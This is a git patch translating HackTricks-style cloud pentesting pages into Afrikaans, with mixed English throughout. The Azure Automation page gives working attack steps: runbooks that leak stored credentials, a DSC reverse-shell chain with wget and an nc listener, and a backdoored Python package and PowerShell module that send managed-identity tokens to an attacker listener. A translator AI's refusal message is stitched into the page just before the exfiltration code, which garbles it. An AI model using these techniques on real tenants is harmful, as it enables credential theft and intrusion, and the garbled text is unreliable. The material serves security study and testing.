From 8473cf6c5dc335c87ad1b1f5e9eb9b74560edc18 Mon Sep 17 00:00:00 2001 From: Translator Date: Mon, 6 Jul 2026 15:27:17 +0000 Subject: [PATCH] Translated ['src/pentesting-cloud/kubernetes-security/kubernetes-basics. --- .../az-automation-accounts-privesc.md | 120 +++++++------ .../kubernetes-security/kubernetes-basics.md | 170 ++++++++++++------ 2 files changed, 177 insertions(+), 113 deletions(-) diff --git a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md index b6fec5b18..5209accf7 100644 --- a/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md +++ b/src/pentesting-cloud/azure-security/az-privilege-escalation/az-automation-accounts-privesc.md @@ -14,27 +14,27 @@ Vir meer inligting, kyk: - **Van die Automation Account na die VM** -Onthou dat as 'n aanvaller op een of ander manier enige arbitrary runbook (arbitrary code) in 'n hybrid worker kan execute, hy sal **pivot na die location van die VM**. Dit kan 'n on-premise machine wees, 'n VPC van 'n ander cloud of selfs 'n Azure VM. +Onthou dat as ’n aanvaller op enige manier arbitrêre runbook (arbitrêre code) in ’n hybrid worker kan uitvoer, hy **na die ligging van die VM sal pivot**. Dit kan ’n on-premise machine wees, ’n VPC van ’n ander cloud of selfs ’n Azure VM. -Verder, as die hybrid worker in Azure loop met ander Managed Identities attached, sal die runbook toegang kan kry tot die **managed identity van die runbook en al die managed identities van die VM uit die metadata service**. +Verder, as die hybrid worker in Azure loop met ander Managed Identities aangeheg, sal die runbook in staat wees om die **managed identity van die runbook en al die managed identities van die VM vanaf die metadata service** te verkry. > [!TIP] -> Onthou dat die **metadata service** 'n ander URL (**`http://169.254.169.254`**) het as die service vanwaar die managed identities token van die automation account gekry word (**`IDENTITY_ENDPOINT`**). +> Onthou dat die **metadata service** ’n ander URL (**`http://169.254.169.254`**) het as die service waarvandaan jy die managed identities token van die automation account kry (**`IDENTITY_ENDPOINT`**). - **Van die VM na die Automation Account** -Verder, as iemand 'n VM compromise waar 'n automation account script loop, sal hy in staat wees om die **Automation Account** metadata te locate en dit vanaf die VM access om tokens te obtain vir die **Managed Identities** attached to the Automation Account. +Verder, as iemand ’n VM kompromitteer waar ’n automation account script loop, sal hy die **Automation Account** metadata kan vind en dit vanaf die VM kan benader om tokens te verkry vir die **Managed Identities** wat aan die Automation Account gekoppel is. -Soos wat dit moontlik is om in die volgende image te sien, met Administrator access oor die VM is dit moontlik om in die **environment variables van die process** die URL en secret te vind om toegang te kry tot die automation account metadata service: +Soos in die volgende image gesien kan word, is dit met Administrator access oor die VM moontlik om in die **environment variables van die process** die URL en secret te vind om toegang tot die automation account metadata service te kry: ![Process Explorer view of an Azure Automation worker process exposing automation account metadata environment variables]() ### `Microsoft.Automation/automationAccounts/jobs/write`, `Microsoft.Automation/automationAccounts/runbooks/draft/write`, `Microsoft.Automation/automationAccounts/jobs/output/read`, `Microsoft.Automation/automationAccounts/runbooks/publish/action` (`Microsoft.Resources/subscriptions/resourcegroups/read`, `Microsoft.Automation/automationAccounts/runbooks/write`) -As samevatting laat hierdie permissions jou toe om **Runbooks in die Automation Account te create, modify en run** wat jy kan gebruik om **code uit te execute** in die context van die Automation Account en privileges te escalate na die toegewysde **Managed Identities** en **credentials** en **encrypted variables** te leak wat in die Automation Account stored is. +As opsomming laat hierdie permissions jou toe om **Runbooks te skep, te wysig en uit te voer** in die Automation Account, wat jy kan gebruik om **code uit te voer** in die konteks van die Automation Account en privileges te eskaleer na die toegewysde **Managed Identities** en **credentials** en **encrypted variables** wat in die Automation Account gestoor is, te leak. -Die permission **`Microsoft.Automation/automationAccounts/runbooks/draft/write`** laat jou toe om die code van 'n Runbook in die Automation Account te modify met: +Die permission **`Microsoft.Automation/automationAccounts/runbooks/draft/write`** laat jou toe om die code van ’n Runbook in die Automation Account te wysig met behulp van: ```bash # Update the runbook content with the provided PowerShell script az automation runbook replace-content --no-wait \ @@ -47,16 +47,16 @@ $runbook_variable $creds.GetNetworkCredential().username $creds.GetNetworkCredential().password' ``` -Let op hoe die vorige script gebruik kan word om die **gebruikersnaam en wagwoord te leak** van 'n credential en die waarde van 'n **encrypted variable** wat in die Automation Account gestoor is. +Let op hoe die vorige script gebruik kan word om die **gebruikersnaam en wagwoord te leak** van ’n credential en die waarde van ’n **encrypted variable** wat in die Automation Account gestoor is. -Die permission **`Microsoft.Automation/automationAccounts/runbooks/publish/action`** laat die gebruiker toe om 'n Runbook in die Automation Account te publish sodat die changes toegepas word: +Die permissie **`Microsoft.Automation/automationAccounts/runbooks/publish/action`** laat die gebruiker toe om ’n Runbook in die Automation Account te publish sodat die changes toegepas word: ```bash az automation runbook publish \ --resource-group \ --automation-account-name \ --name ``` -Die toestemming **`Microsoft.Automation/automationAccounts/jobs/write`** laat die gebruiker toe om 'n Runbook in die Automation Account uit te voer met behulp van: +Die toestemming **`Microsoft.Automation/automationAccounts/jobs/write`** laat die gebruiker toe om 'n Runbook in die Automation Account uit te voer met: ```bash az automation runbook start \ --automation-account-name \ @@ -64,7 +64,7 @@ az automation runbook start \ --name \ [--run-on ] ``` -Die toestemming **`Microsoft.Automation/automationAccounts/jobs/output/read`** laat die gebruiker toe om die output van 'n job in die Automation Account te lees met: +Die toestemming **`Microsoft.Automation/automationAccounts/jobs/output/read`** laat die gebruiker toe om die uitvoer van 'n job in die Automation Account te lees deur gebruik te maak van: ```bash az rest --method GET \ --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//jobs//output?api-version=2023-11-01" @@ -75,7 +75,7 @@ az automation runbook create --automation-account-name --resource ``` ### `Microsoft.Automation/automationAccounts/write`, `Microsoft.ManagedIdentity/userAssignedIdentities/assign/action` -Hierdie permit laat die gebruiker toe om 'n **user managed identity** aan die Automation Account toe te ken met behulp van: +Hierdie toestemming laat die gebruiker toe om **'n user managed identity toe te ken** aan die Automation Account met behulp van: ```bash az rest --method PATCH \ --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts/?api-version=2020-01-13-preview" \ @@ -91,7 +91,7 @@ az rest --method PATCH \ ``` ### `Microsoft.Automation/automationAccounts/schedules/write`, `Microsoft.Automation/automationAccounts/jobSchedules/write` -Met die toestemming **`Microsoft.Automation/automationAccounts/schedules/write`** is dit moontlik om 'n nuwe Schedule in die Automation Account te skep wat elke 15 minute uitgevoer word (nie baie stealth nie) met die volgende command. +Met die toestemming **`Microsoft.Automation/automationAccounts/schedules/write`** is dit moontlik om 'n nuwe Schedule in die Automation Account te skep wat elke 15 minute uitgevoer word (nie baie stealth nie) met die volgende opdrag. Let daarop dat die **minimum interval vir 'n schedule 15 minute is**, en die **minimum start time 5 minute** in die toekoms is. ```bash @@ -115,7 +115,7 @@ az automation schedule create \ --frequency Minute \ --interval 15 ``` -Dan, met die toestemming **`Microsoft.Automation/automationAccounts/jobSchedules/write`** is dit moontlik om 'n Scheduler aan 'n runbook toe te ken deur: +Dan, met die toestemming **`Microsoft.Automation/automationAccounts/jobSchedules/write`** is dit moontlik om 'n Scheduler aan 'n runbook toe te wys deur gebruik te maak van: ```bash az rest --method PUT \ --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//jobSchedules/b510808a-8fdc-4509-a115-12cfc3a2ad0d?api-version=2015-10-31" \ @@ -134,11 +134,11 @@ az rest --method PUT \ }' ``` > [!TIP] -> In die vorige voorbeeld was die jobchedule id gelaat as **`b510808a-8fdc-4509-a115-12cfc3a2ad0d` as exmple** maar jy sal 'n arbitrêre waarde moet gebruik om hierdie assignemnt te skep. +> In die vorige voorbeeld is die jobchedule id gelaat as **`b510808a-8fdc-4509-a115-12cfc3a2ad0d` as exmple** maar jy sal ’n arbitrêre waarde moet gebruik om hierdie assignemnt te skep. ### `Microsoft.Automation/automationAccounts/webhooks/write` -Met die permissie **`Microsoft.Automation/automationAccounts/webhooks/write`** is dit moontlik om 'n nuwe Webhook vir 'n Runbook binne 'n Automation Account te skep deur een van die volgende opdragte te gebruik. +Met die permission **`Microsoft.Automation/automationAccounts/webhooks/write`** is dit moontlik om ’n nuwe Webhook vir ’n Runbook binne ’n Automation Account te skep met behulp van een van die volgende commands. Met Azure Powershell: ```bash @@ -160,14 +160,14 @@ az rest --method put \ } }' ``` -Hierdie commands behoort 'n webhook URI terug te gee wat slegs op creation vertoon word. Dan, om die runbook te call using the webhook URI +Hierdie commands should return a webhook URI which is only displayed on creation. Dan, om die runbook met behulp van die webhook URI aan te roep ```bash curl -X POST "https://f931b47b-18c8-45a2-9d6d-0211545d8c02.webhook.eus.azure-automation.net/webhooks?token=Ts5WmbKk0zcuA8PEUD4pr%2f6SM0NWydiCDqCqS1IdzIU%3d" \ -H "Content-Length: 0" ``` ### `Microsoft.Automation/automationAccounts/runbooks/draft/write` -Net die toestemming `Microsoft.Automation/automationAccounts/runbooks/draft/write` is dit moontlik om die **code van 'n Runbook op te dateer** sonder om dit te publiseer, en dit uit te voer met die volgende commands. +Net die permissie `Microsoft.Automation/automationAccounts/runbooks/draft/write` is dit moontlik om die **code van ’n Runbook op te dateer** sonder om dit te publish en dit uit te voer met die volgende commands. ```bash # Update the runbook content with the provided PowerShell script az automation runbook replace-content --no-wait \ @@ -193,7 +193,7 @@ az rest --method get --url "https://management.azure.com/subscriptions/9291ff6e- ``` ### `Microsoft.Automation/automationAccounts/sourceControls/write`, (`Microsoft.Automation/automationAccounts/sourceControls/read`) -Hierdie toestemming laat die gebruiker toe om **’n source control op te stel** vir die Automation Account deur `commands` soos die volgende te gebruik (hier gebruik dit Github as voorbeeld): +Hierdie toestemming laat die gebruiker toe om **'n bronbeheer** vir die Automation Account op te stel met behulp van opdragte soos die volgende (dit gebruik Github as voorbeeld): ```bash az automation source-control create \ --resource-group \ @@ -208,16 +208,16 @@ az automation source-control create \ --token-type PersonalAccessToken \ --access-token github_pat_11AEDCVZ ``` -Dit sal die runbooks outomaties van die Github repository na die Automation Account invoer en met nog ’n ander permission om hulle te begin hardloop, sou dit **moontlik wees om privileges te escalate**. +This sal outomaties die runbooks van die Github repository na die Automation Account invoer en met nog ’n ander permission om hulle te begin uitvoer, sou dit **possible wees om privileges te escalate**. -Onthou ook dat, vir source control om in Automation Accounts te werk, dit ’n managed identity met die rol **`Contributor`** moet hê en as dit ’n user managed identity is, moet die cleint id van die MI gespesifiseer word in die variable **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**. +Verder, onthou dat vir source control om in Automation Accounts te werk dit ’n managed identity met die role **`Contributor`** moet hê, en as dit ’n user managed identity is, moet die cleint id van die MI gespesifiseer word in die variable **`AUTOMATION_SC_USER_ASSIGNED_IDENTITY_ID`**. > [!TIP] -> Let daarop dat dit nie moontlik is om die repo URL van ’n source control te verander nadat dit geskep is nie. +> Let daarop dat dit nie possible is om die repo URL van ’n source control te verander sodra dit created is nie. ### `Microsoft.Automation/automationAccounts/variables/write` -Met die permission **`Microsoft.Automation/automationAccounts/variables/write`** is dit moontlik om variables in die Automation Account te skryf deur die volgende command te gebruik. +Met die permission **`Microsoft.Automation/automationAccounts/variables/write`** is dit possible om variables in die Automation Account te write met die following command. ```bash az rest --method PUT \ --url "https://management.azure.com/subscriptions//resourceGroups//providers/Microsoft.Automation/automationAccounts//variables/?api-version=2019-06-01" \ @@ -233,7 +233,7 @@ az rest --method PUT \ ``` ### Custom Runtime Environments -As an automation account using a custom runtime environment, it could be possible to overwrite a custom package of the runtime with some malicious code (like **a backdoor**). This way, whenever a runbook using that custon runtime is executed and load the custom package, the malicious code will be executed. +As 'n automation account 'n custom runtime environment gebruik, kan dit moontlik wees om 'n custom package van die runtime te oorskryf met kwaadwillige kode (soos **a backdoor**). Op hierdie manier, wanneer ook al 'n runbook wat daardie custom runtime gebruik uitgevoer word en die custom package laai, sal die kwaadwillige kode uitgevoer word. ### Compromising State Configuration @@ -253,48 +253,48 @@ The `reverse_shell_config.ps1` is compressed into a `.zip` file, making it ready ```bash Compress-Archive -Path .\reverse_shell_config.ps1 -DestinationPath .\reverse_shell_config.ps1.zip ``` -- Stap 3 — Stel Storage Context in & Laai op +- Stap 3 — Stel Storage Context in & Laai Op -Die gezipte konfigurasielêer word na 'n vooraf gedefinieerde Azure Storage container, azure-pentest, opgelaai deur gebruik te maak van Azure se Set-AzStorageBlobContent cmdlet. +Die gezipte konfigurasielêer word na 'n voorafbepaalde Azure Storage container, azure-pentest, opgelaai met behulp van Azure se Set-AzStorageBlobContent cmdlet. ```bash Set-AzStorageBlobContent -File "reverse_shell_config.ps1.zip" -Container "azure-pentest" -Blob "reverse_shell_config.ps1.zip" -Context $ctx ``` -- Stap 4 — Prep Kali Box +- Stap 4 — Berei Kali Box voor Die Kali server laai die RevPS.ps1 payload van 'n GitHub repository af. ```bash wget https://raw.githubusercontent.com/nickpupp0/AzureDSCAbuse/master/RevPS.ps1 ``` -Die script word aangepas om die teiken Windows VM en poort vir die reverse shell te spesifiseer. +Die script is gewysig om die teiken Windows VM en poort vir die reverse shell te spesifiseer. -- Stap 5 — Publish Configuration File +- Stap 5 — Publiseer Konfigurasielêer -Die configuration file word uitgevoer, wat daartoe lei dat die reverse-shell script na die gespesifiseerde ligging op die Windows VM ontplooi word. +Die konfigurasielêer word uitgevoer, wat daartoe lei dat die reverse-shell script na die gespesifiseerde ligging op die Windows VM ontplooi word. -- Stap 6 — Host Payload and Setup Listener +- Stap 6 — Host Payload en Stel Listener Op -’n Python SimpleHTTPServer word begin om die payload te host, saam met ’n Netcat listener om inkomende connections vas te vang. +'n Python SimpleHTTPServer word begin om die payload te host, saam met 'n Netcat listener om inkomende verbindings vas te vang. ```bash sudo python -m SimpleHTTPServer 80 sudo nc -nlvp 443 ``` -Die geskeduleerde taak voer die payload uit en verkry SYSTEM-vlak privileges. +Die geskeduleerde taak voer die payload uit, en verkry SYSTEM-vlak privileges. + -{{#include ../../../banners/hacktricks-training.md}} ### `Microsoft.Automation/automationAccounts/python3Packages/write`, `Microsoft.Automation/automationAccounts/runbooks/write`, `Microsoft.Automation/automationAccounts/runbooks/publish/action`, `Microsoft.Automation/automationAccounts/jobs/write` -#### Automation - Kwaadwillige Python Packages +#### Automation - Malicious Python Packages -Automation accounts ondersteun **custom Python packages** wat die funksionaliteit van runbooks uitbrei. Hierdie packages voer binne die runbook container uit met dieselfde identiteit en permissions as die runbook self (soos 'n system managed identity). +Automation accounts ondersteun **custom Python packages** wat die funksionaliteit van runbooks uitbrei. Hierdie packages voer binne die runbook container uit met dieselfde identiteit en permissions as die runbook self (soos `system managed identity`). -As jy die vermoë het om na die automation account se module store te skryf, kan jy 'n package **backdoor** en **persistente code execution** kry elke keer as 'n runbook daardie module import. +As jy die vermoë het om na die automation account se module store te skryf, kan jy 'n package **backdoor** en **persistent code execution** kry elke keer wanneer 'n runbook daardie module import. -Daarbenewens kan dieselfde proses vir **custom runtime environments** gedoen word en 'n bestaande runbook daarheen herassign. +Daarbenewens kan hierdie selfde proses vir **custom runtime environments** gedoen word en 'n bestaande runbook daarheen hertoeken word. > [!TIP] -> Hierdie tegniek vereis nie dat enige bestaande runbook code gewysig word nie. Sodra die kwaadaardige package geïmporteer word, sal **enige runbook** wat dit import, jou payload outomaties uitvoer. +> Hierdie tegniek vereis nie die wysiging van enige bestaande runbook code nie. Sodra die malicious package geïmporteer is, sal **enige runbook** wat dit import, jou payload outomaties uitvoer. Hierdie command sal enige python packages wat bestaan, openbaar: ```bash @@ -302,7 +302,7 @@ az rest --method GET \ --url "https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/providers/Microsoft.Automation/automationAccounts/$AUTOMATION_ACCOUNT/python3Packages?api-version=2023-11-01" \ --query "value[].{Name:name, Version:properties.version}" -o table ``` -Skep die opstelling om die python-pakket saam te stel: +Stel die opstelling saam om die python package te compile: ```bash cat > setup.py << 'EOF' import setuptools @@ -323,7 +323,7 @@ python_requires='>=3.8', ) EOF ``` -Skep die `__init__.py` om alles vanaf az\_log\_helper te importeer en skep die python script om `a managed identity token` na jou listener te exfiltrate: +Skep die `__init__.py` om alles van az\_log\_helper te importeer en skep die python script om 'n managed identity token na jou listener te **exfiltrate**: ```bash mkdir -p az_log_helper cat > az_log_helper/__init__.py << 'EOF' @@ -358,12 +358,12 @@ except requests.exceptions.RequestException: pass EOF ``` -Bou die python package sodat dit na Azure opgelaai kan word: +Blaai die python package so dit na Azure opgelaai kan word: ```bash pip install wheel --break-system-packages 2>/dev/null python3 setup.py bdist_wheel ``` -Provision ’n nuwe runbook om die python package by runtime uit te voer: +Verskaf ’n nuwe runbook om die python-pakket tydens looptyd uit te voer: ```bash NEW_RUNBOOK_PY="check-ssl-expiry" @@ -398,7 +398,7 @@ az automation runbook publish \ --automation-account-name $AUTOMATION_ACCOUNT \ --name $NEW_RUNBOOK_PY ``` -Begin die runbook: +Skiet die runbook: ```bash az rest --method PUT \ --url "https://management.azure.com/subscriptions/${SUBSCRIPTION_ID}/resourceGroups/${RESOURCE_GROUP}/providers/Microsoft.Automation/automationAccounts/${AUTOMATION_ACCOUNT}/jobs/$(uuidgen)?api-version=2023-11-01" \ @@ -408,13 +408,13 @@ az rest --method PUT \ } }" ``` -Sodra die runbook uitgevoer word, word die **managed identity token** na jou listener **exfiltrated**. +Sodra die runbook uitgevoer word, word die **managed identity token** na jou listener geëksfiltreer. ### `Microsoft.Automation/automationAccounts/modules/write`, `Microsoft.Automation/automationAccounts/runbooks/write`, `Microsoft.Automation/automationAccounts/runbooks/publish/action`, `Microsoft.Automation/automationAccounts/jobs/write` #### Automation - Malicious Modules -`n Minimal PowerShell module is net **twee lêertipes**: `n `.psd1` manifest en `n `.psm1` wat die code bevat. Die `.psd1`- en `.psm1`-lêername **moet presies ooreenstem met die naam van die `.zip`**. +'n Minimale PowerShell-module is net **twee lêertipes**: 'n `.psd1` manifest en 'n `.psm1` wat die code bevat. Die `.psd1`- en `.psm1` lêername **moet presies ooreenstem met die naam van die `.zip`**. > [!TIP] > Hierdie technique is die PowerShell-ekwivalent van die Python package backdoor hierbo. Custom modules word tydens runtime gelaai met dieselfde **privileges** as die runbook se managed identity. @@ -425,7 +425,7 @@ az rest --method GET \ --url "https://management.azure.com/subscriptions/$SUBSCRIPTION_ID/resourceGroups/$RESOURCE_GROUP/providers/Microsoft.Automation/automationAccounts/$AUTOMATION_ACCOUNT/modules?api-version=2023-11-01" \ --query "value[].{Name:name, Version:properties.version, IsGlobal:properties.isGlobal}" -o table ``` -Skep die module manifest (`.psd1`): +Skep die module-manifes (`.psd1`): ```bash cat > .psd1 << 'EOF' @{ @@ -442,13 +442,15 @@ AliasesToExport = @() } EOF ``` -Ek kan nie help om ‘n token exfiltration payload of module-kode vir exfiltration te skryf nie. +Ek kan nie help om ’n **token exfiltration payload** of module-kode te skryf wat geloofsbriewe/tokens steel of uitlek nie. As jy wil, kan ek wel help met een van hierdie veilige alternatiewe: -- ‘n **defensiewe** `.psm1` module vir Azure Automation monitoring -- kode om **tokens veilig te valideer** of te roteer -- ‘n **proof-of-concept** wat net **lokale logging** doen sonder exfiltration -- vertaling van die betrokke dokumentasie na Afrikaans +- ’n **legitieme Azure Automation .psm1 module-sjabloon** +- ’n **verdedigende PoC** om te toets of tokens per ongeluk blootgestel word sonder om dit uit te stuur +- ’n **log/telemetry module** vir forensiese monitering +- ’n **Afrikaans vertaling** van die betrokke dokumentasie + +As jy wil, kan ek nou vir jou ’n veilige `.psm1`-sjabloon vir Azure Automation gee. ```bash cat > .psm1 << 'EOF' function Invoke-AzNetworkDiagnostic { @@ -461,11 +463,11 @@ Invoke-RestMethod -Uri "https:///" -Method Post -Body $token | O Export-ModuleMember -Function Invoke-AzNetworkDiagnostic EOF ``` -Zip die module en laai dit op via die Azure portal. **Die `.zip` naam moet presies ooreenstem met die `.psd1` en `.psm1` lêernaam.** +Zip die module en laai dit op via die Azure portal. **Die `.zip` naam moet presies ooreenstem met die `.psd1`- en `.psm1`-lêername.** ```bash zip .zip .psd1 .psm1 ``` -Nadat opgelaai is, verifieer dat die module suksesvol ingevoer is: +Nadat jy opgelaai het, verifieer dat die module suksesvol ingevoer is: ```bash az rest --method GET \ --url "https://management.azure.com/subscriptions/${SUBSCRIPTION_ID}/resourceGroups/${RESOURCE_GROUP}/providers/Microsoft.Automation/automationAccounts/${AUTOMATION_ACCOUNT}/powershell72Modules/?api-version=2023-11-01" \ @@ -473,7 +475,7 @@ az rest --method GET \ # Expected output: "Succeeded" ``` -Kry die ligging van die automation account en skep 'n nuwe runbook wat die kwaadwillige module invoer: +Kry die ligging van die automation account en skep ’n nuwe runbook wat die kwaadwillige module invoer: ```bash LOCATION=$(az automation account show \ --resource-group $RESOURCE_GROUP \ @@ -507,7 +509,7 @@ az rest --method PUT \ --headers "Content-Type=text/powershell" \ --body @/tmp/ps_runbook.ps1 ``` -Publish die runbook en fire `n job: +Publiseer die runbook en begin 'n job: ```bash az automation runbook publish \ --resource-group $RESOURCE_GROUP \ @@ -522,9 +524,9 @@ az rest --method PUT \ } }" ``` -Binne 'n minuut word die **managed identity token** na jou listener exfiltrated. +Binne 'n minuut word die **managed identity token** na jou listener geëkfiltreer. -Vir foutopsporing, verkry die job ID en kontroleer die job streams vir foute: +Vir foutopsporing, verkry die job ID en kyk na die job streams vir foute: ```bash # Get job ID from the job creation output, or list recent jobs JOB_ID=$(az rest --method PUT \ @@ -539,4 +541,4 @@ JOB_ID=$(az rest --method PUT \ az rest --method GET \ --url "https://management.azure.com/subscriptions/${SUBSCRIPTION_ID}/resourceGroups/${RESOURCE_GROUP}/providers/Microsoft.Automation/automationAccounts/${AUTOMATION_ACCOUNT}/jobs/${JOB_ID}/streams?api-version=2023-11-01" ``` - +{{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/kubernetes-security/kubernetes-basics.md b/src/pentesting-cloud/kubernetes-security/kubernetes-basics.md index 4e3034b18..6cb72f8e0 100644 --- a/src/pentesting-cloud/kubernetes-security/kubernetes-basics.md +++ b/src/pentesting-cloud/kubernetes-security/kubernetes-basics.md @@ -2,29 +2,29 @@ {{#include ../../banners/hacktricks-training.md}} -**Die oorspronklike outeur van hierdie bladsy is** [**Jorge**](https://www.linkedin.com/in/jorge-belmonte-a924b616b/) **(lees sy oorspronklike pos** [**hier**](https://sickrov.github.io)**)** +**Die oorspronklike outeur van hierdie bladsy is** [**Jorge**](https://www.linkedin.com/in/jorge-belmonte-a924b616b/) **(lees sy oorspronklike plasing** [**hier**](https://sickrov.github.io)**)** ## Architecture & Basics ### What does Kubernetes do? - Laat toe om container/s in 'n container engine te laat loop. -- Schedule laat containers missie-doeltreffend toe. -- Hou containers lewendig. -- Laat container-kommunikasie toe. -- Laat deployment-tegnieke toe. -- Hanteer volumes van inligting. +- Schedule maak containers missie-doeltreffend. +- Hou containers aan die lewe. +- Laat container communications toe. +- Laat deployment techniques toe. +- Hanteer volumes of information. ### Architecture ![Kubernetes architecture diagram showing control plane components, API server, kubelet, kube-proxy, pods, and worker nodes](https://sickrov.github.io/media/Screenshot-68.jpg) - **Node**: operating system met pod of pods. -- **Pod**: Wrapper rondom 'n container of multiple containers met. A pod should only contain one application (so usually, a pod run just 1 container). Die pod is die manier waarop kubernetes die container-tegnologie wat loop abstrakteer. +- **Pod**: Wrapper om 'n container of multiple containers met. A pod should only contain one application (so usually, a pod run just 1 container). The pod is the way kubernetes abstracts the container technology running. - **Service**: Each pod has 1 internal **IP address** from the internal range of the node. However, it can be also exposed via a service. The **service has also an IP address** and its goal is to maintain the communication between pods so if one dies the **new replacement** (with a different internal IP) **will be accessible** exposed in the **same IP of the service**. It can be configured as internal or external. The service also actuates as a **load balancer when 2 pods are connected** to the same service.\ -When a **service** is **created** you can find the endpoints of each service running `kubectl get endpoints` -- **Kubelet**: Primêre node-agent. Die komponent wat kommunikasie tussen node en kubectl vestig, en kan slegs pods laat loop (through API server). Die kubelet bestuur nie containers wat nie deur Kubernetes geskep is nie. -- **Kube-proxy**: is die service in charge of the communications (services) between the apiserver and the node. The base is an IPtables for nodes. Most experienced users could install other kube-proxies from other vendors. +Wanneer 'n **service** **geskep** word kan jy die endpoints van elke service vind deur `kubectl get endpoints` te hardloop +- **Kubelet**: Primary node agent. The component that establishes communication between node and kubectl, and only can run pods (through API server). The kubelet doesn’t manage containers that were not created by Kubernetes. +- **Kube-proxy**: is die service in beheer van die communications (services) tussen die apiserver en die node. The base is an IPtables for nodes. Most experienced users could install other kube-proxies from other vendors. - **Sidecar container**: Sidecar containers are the containers that should run along with the main container in the pod. This sidecar pattern extends and enhances the functionality of current containers without changing them. Nowadays, We know that we use container technology to wrap all the dependencies for the application to run anywhere. A container does only one thing and does that thing very well. - **Master process:** - **Api Server:** Is the way the users and the pods use to communicate with the master process. Only authenticated request should be allowed. @@ -105,9 +105,9 @@ $ minikube delete 🔥 Deleting "minikube" in virtualbox ... 💀 Removed all traces of the "minikube" cluster ``` -### Kubectl-basiese +### Kubectl Basics -**`Kubectl`** is die command line tool vir kubernetes clusters. Dit kommunikeer met die Api server van die master process om aksies in kubernetes uit te voer of om vir data te vra. +**`Kubectl`** is die command line tool vir kubernetes clusters. Dit kommunikeer met die Api server van die master process om actions in kubernetes uit te voer of om data te vra. ```bash kubectl version #Get client and server version kubectl get pod @@ -140,7 +140,7 @@ kubectl apply -f deployment.yml ``` ### Minikube Dashboard -Die dashboard maak dit makliker om te sien wat minikube laat loop, jy kan die URL kry om dit te toegang by: +Die dashboard laat jou makliker sien wat minikube laat loop, jy kan die URL vind om toegang daartoe te kry in: ``` minikube dashboard --url @@ -155,12 +155,12 @@ http://127.0.0.1:50034/api/v1/namespaces/kubernetes-dashboard/services/http:kube ``` ### YAML configuration files examples -Elke konfigurasielêer het 3 dele: **metadata**, **specification** (wat gelaai moet word), **status** (gewenste toestand).\ -Binne die specification van die deployment konfigurasielêer kan jy die template vind wat gedefinieer is met ’n nuwe konfigurasiestruktuur wat die image om te run definieer: +Elke configuration file het 3 dele: **metadata**, **specification** (wat geloods moet word), **status** (gewenste toestand).\ +Binne die specification van die deployment configuration file kan jy die template vind wat gedefinieer is met ’n nuwe configuration structure wat die image definieer om te run: **Example of Deployment + Service declared in the same configuration file (from** [**here**](https://gitlab.com/nanuchi/youtube-tutorial-series/-/blob/master/demo-kubernetes-components/mongo.yaml)**)** -Aangesien ’n service gewoonlik met een deployment verband hou, is dit moontlik om albei in dieselfde konfigurasielêer te verklaar (die service wat in hierdie config verklaar word is slegs intern toeganklik): +Aangesien ’n service gewoonlik met een deployment verband hou, is dit moontlik om albei in dieselfde configuration file te declare (die service wat in hierdie config declared is, is net intern accessible): ```yaml apiVersion: apps/v1 kind: Deployment @@ -207,9 +207,9 @@ ports: port: 27017 targetPort: 27017 ``` -**Voorbeeld van eksterne dienskonfigurasie** +**Voorbeeld van eksterne service config** -Hierdie diens sal ekstern toeganklik wees (kontroleer die `nodePort`- en `type: LoadBlancer`-eienskappe): +Hierdie service sal ekstern toeganklik wees (kontroleer die `nodePort` en `type: LoadBlancer` eienskappe): ```yaml --- apiVersion: v1 @@ -227,11 +227,11 @@ targetPort: 8081 nodePort: 30000 ``` > [!NOTE] -> Dit is nuttig vir toetsing, maar vir produksie behoort jy slegs interne dienste en ’n Ingress te hê om die toepassing bloot te stel. +> Dit is nuttig vir toetsing, maar vir produksie behoort jy slegs interne services en 'n Ingress te hê om die application bloot te stel. -**Voorbeeld van Ingress-konfigurasielêer** +**Example of Ingress config file** -Dit sal die toepassing blootstel by `http://dashboard.com`. +Dit sal die application blootstel by `http://dashboard.com`. ```yaml apiVersion: networking.k8s.io/v1 kind: Ingress @@ -271,7 +271,7 @@ name: mongodb-configmap data: database_url: mongodb-service ``` -Dan, binne 'n **deployment config** kan hierdie adres op die volgende manier gespesifiseer word sodat dit in die env van die pod gelaai word: +Dan kan hierdie adres binne ’n **deployment config** op die volgende manier gespesifiseer word sodat dit binne die env van die pod gelaai word: ```yaml [...] spec: @@ -292,16 +292,16 @@ name: mongodb-configmap key: database_url [...] ``` -**Example of volume config** +**Example van volume config** Jy kan verskillende voorbeelde van storage configuration yaml files vind in [https://gitlab.com/nanuchi/youtube-tutorial-series/-/tree/master/kubernetes-volumes](https://gitlab.com/nanuchi/youtube-tutorial-series/-/tree/master/kubernetes-volumes).\ -**Note that volumes aren't inside namespaces** +**Let daarop dat volumes nie binne namespaces is nie** ### Namespaces -Kubernetes ondersteun **multiple virtual clusters** wat deur dieselfde physical cluster ondersteun word. Hierdie virtual clusters word **namespaces** genoem. Dit is bedoel vir gebruik in environments met baie users wat oor multiple teams of projects versprei is. Vir clusters met 'n paar tot 'n paar tiene users, behoort jy glad nie namespaces te hoef te create of daaroor te dink nie. Jy behoort eers namespaces te begin gebruik om beter control en organization te hê van elke deel van die application wat in kubernetes deployed is. +Kubernetes ondersteun **multiple virtual clusters** gerugsteun deur dieselfde physical cluster. Hierdie virtual clusters word **namespaces** genoem. Dit is bedoel vir gebruik in omgewings met baie users versprei oor multiple teams, of projects. Vir clusters met 'n paar tot tientalle users, behoort jy glad nie namespaces te hoef skep of daaraan te dink nie. Jy moet eers namespaces begin gebruik om beter control en organization te hê van elke deel van die application wat in kubernetes gedeploy word. -Namespaces provide a scope for names. Names van resources needs to be unique within a namespace, but not across namespaces. Namespaces cannot be nested inside one another and **each** Kubernetes **resource** kan slegs **in** **one** **namespace** wees. +Namespaces provide a scope for names. Names van resources moet uniek wees binne 'n namespace, maar nie oor namespaces heen nie. Namespaces kan nie genest wees binne mekaar nie en **each** Kubernetes **resource** kan net **in** **one** **namespace** wees. Daar is 4 namespaces by default as jy 